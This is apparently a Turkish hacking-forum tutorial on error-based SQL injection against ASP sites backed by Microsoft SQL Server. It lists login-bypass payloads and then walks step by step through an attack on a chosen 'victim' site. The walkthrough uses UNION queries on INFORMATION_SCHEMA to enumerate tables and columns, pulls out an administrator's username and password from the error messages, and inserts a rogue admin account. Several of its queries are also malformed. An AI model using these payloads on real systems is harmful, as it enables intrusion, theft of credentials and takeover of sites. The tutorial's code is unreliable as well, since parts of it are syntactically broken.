Database = Veritabani Nedir :
Veritabani verilerimizin düzenli olarak saklandigi dijital bir
ortamdir. Verilerimizi anlamli kilmak da bizim bilfimizi olusturur.
Veritabani Programlari:
Günümüzde, birçok firmanin ürettigi db programlari mevcuttur... Ama
bunlarin en bilinenleri ORACLE , SQL SERVER, MS ACCESS, FOX PRO’dur.
SQL Nedir :
Sql (Structured Query Language) bir veritabani dilidir.Uygulama
gelistiriciler, bir veritabanina yeni tablo veya veri eklerken,
silerken veya bir veriyi ararken bu dili kullanirlar.
Bu anlamda genis kabul görmüs bir standarttir. Örnegin MS ACCESS’te
bunu yapmanin baska yöntemleri de olsa, sonuçta Sql karsiligi her
zaman vardir. Örnek bir Sql ifadesi yazalim;
diyelim ki xchatx tablosundan Hack isimli dökümanin fiyatini bize
bulsun Sql da sorgulamalar SELECT ile yapilir Bu sorgu yazilisi ;
SELECT fiyat FROM xchatx WHERE dokuman ismi="hack"
SELECT deyiminden sonraki gelen ilk ifade, sorgunun sonundaki WHERE
kriterine göre tespit edilen kriterlerin hangi alanlarinin
görüntülenecegi bilgisidir. FROM deyiminden sonraki ifade,
sorgulkamanin hangi tablodan yapilacagini bildirir. WHERE deyimi
ise , sorgulamanin hangi kriter ya da kriterlere göre yapilacagini
belirtmemizi saglar.
Iste SQL ENJEKSIYON DA ILK BASTA SITENIN DB sindeki TABLO Ismini
bilmemiz gerekmez mi sizce yoksa SELECT WHERE Falan nasi kullanalim
o nedenle SqL a ilk basta hata verdirip Tablo ismini ögrenmeliyiz.
SQL Hata verdirtmek için sunlar yapilabilir:
Asp sql enjeksiyondan bahsedecegim
Asp sitemizin tabiki db si ve sql si olan search engine ya da
login barina :
’
Bunu yaziyoruz Egeeer :
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value ’xchatx1’ to a column of data type
int.
/index.asp, line 29
Burda illa da line 29 ve index.asp olmak zorunda degil tipa tip
aynisi olmayacak elbette sadece Sytntax error oracle falan çikmasi
lazim...
Baska türlü de sql a hata verdirebilirsiniz :
’ or 1=1--
" or 1=1--
’ or ’a’=’a
or 1=1--
’) or (’a’=’a
" or "a"="a
Bunlari da aynen deneyin ...
simdi o hatayi aldik da ne oldu diyorsaniz orda TABLE ismini
ögrendik xchatx1 table namemimiz.
Simdi burdan diger tablolarinda ismini ögrenmemiz lazim...
SELECT* FROM xchatx1 WHERE dokumanID=’’ or 1=1--’
Burda yaptigimiz sey bize xchatx1 table inda dokumanIDsi bos olan
seyi getir ya da 1=1 degerine uyan tabloyu getir dedik burda feyk
attik SQL a yani.
Burdan diger table isimlerini de ögreniriz. Sonra istedigimiz seyi
SELECT WHERE deyimlerini kullanarak getiririz. Önümüze...
Simdi örnek bi saldiri yapalim ve yeni seyler ögrenelim biraz daha :
ilk önce kurban siteyi seçtik....
Baktik sql açigi da var ’ bu isaret ile test ettik açik var yani.
Linki görüntüleyebilmek için <a href="%2$s"><strong>Üye</strong></a> olmanız gerekiyor. SELECT TOP 1
TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
UNION SQL a birden çok soru sormak için kullandik.
INFORMATION_SCHEMA.TABLES-- ise hiç table ismi bilmedigimiz için
yazdik
Top 1 table_name ise en üstteki tablo anl***** geliyor.
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value ’serles’ to a column of data type int.
/index.asp, line 23
Hatamizi aldik
Top 1 table_name serles mis!!
Simdi isimize yarayacak tablelari ögrenelim mesela admin table
larini burda da LIKE deyimini kullanicaz içinde admin geçen
kelimeleri getir bize SQL!!! dicez
Linki görüntüleyebilmek için <a href="%2$s"><strong>Üye</strong></a> olmanız gerekiyor. UNION SELECT TOP 1
TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%
25admin%’--
Hatayi aliyoruz :
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value ’admins’ to a column of data type int.
/index.asp, line 3
Burda admin diye baslayan admins diye bir table var. Simdi bu admins
table inin column yani sutünlarini ögrenme zamani!
Kodu yaziyoruz : Linki görüntüleyebilmek için <a href="%2$s"><strong>Üye</strong></a> olmanız gerekiyor. UNION
SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME LIKE = ’admins’--
Burada da INFORMATION_SCHEMA.TABLES yerine
INFORMATION_SCHEMA.COLUMNS deyimini yazdik. Yani yine feyk attik
sql’e, o da bu feykimizi yedi:
Hatayi alalim :
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value ’logonID’ to a column of data type
int.
/index.asp, line 22
ilk kolum LogonID çikti
Simdi 2. sütünü istiyoruz :
Linki görüntüleyebilmek için <a href="%2$s"><strong>Üye</strong></a> olmanız gerekiyor. UNION SELECT TOP 1
COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logonID’)--
Burda en tepede olan ama LogonID olmayani istedik ve hatayi görelim:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value ’logs’ to a column of data type int.
Ögrendik adi logs.
Artik sifre neredeyse geliyor kucagimiza
Önce Password ve detaillarina bakicaz.
Linki görüntüleyebilmek için <a href="%2$s"><strong>Üye</strong></a> olmanız gerekiyor. UNION SELECT TOP 1
COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN
(’logonID’,’logs’,’password’,details’)--
Hata :
Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC sql Server Driver][sql Server]ORDER BY items must
appear in the select list if the statement contains a UNION
operator.
/index.asp, line 4
iki sütün var sansimiza güvenelim ilk logonu deneyelim :
Linki görüntüleyebilmek için <a href="%2$s"><strong>Üye</strong></a> olmanız gerekiyor. UNION SELECT TOP 1 logon
FROM admins--
admins table indaki logon sütunundaki ilk ini seçiyoruz.
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value ’xrealcrack’ to a column of data type
int.
/index.asp, line 7
ve admin nick geldi.
xrealcrack isimli kullanicinin sifresini ver bize SQL:
Linki görüntüleyebilmek için <a href="%2$s"><strong>Üye</strong></a> olmanız gerekiyor. UNION SELECT TOP 1 password
FROM admins where logon=’ xrealcrack ’--
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value ’albert8387vsc’ to a column of data
type int.
/index.asp, line 4
Sifremizi aldik albert8387vsc ok artik hackledik..
Kendimiz de kullanici yaratabiliriz admins table inda logon column
ünde
Kodu : Linki görüntüleyebilmek için <a href="%2$s"><strong>Üye</strong></a> olmanız gerekiyor. INSERT
INTO ’admins’ (’logonID’, ’logon’, ’password’, ’details’) VALUES
(223,’SnoB’,’123456’,’NA’)—
Admin : SnoB
Password : 123456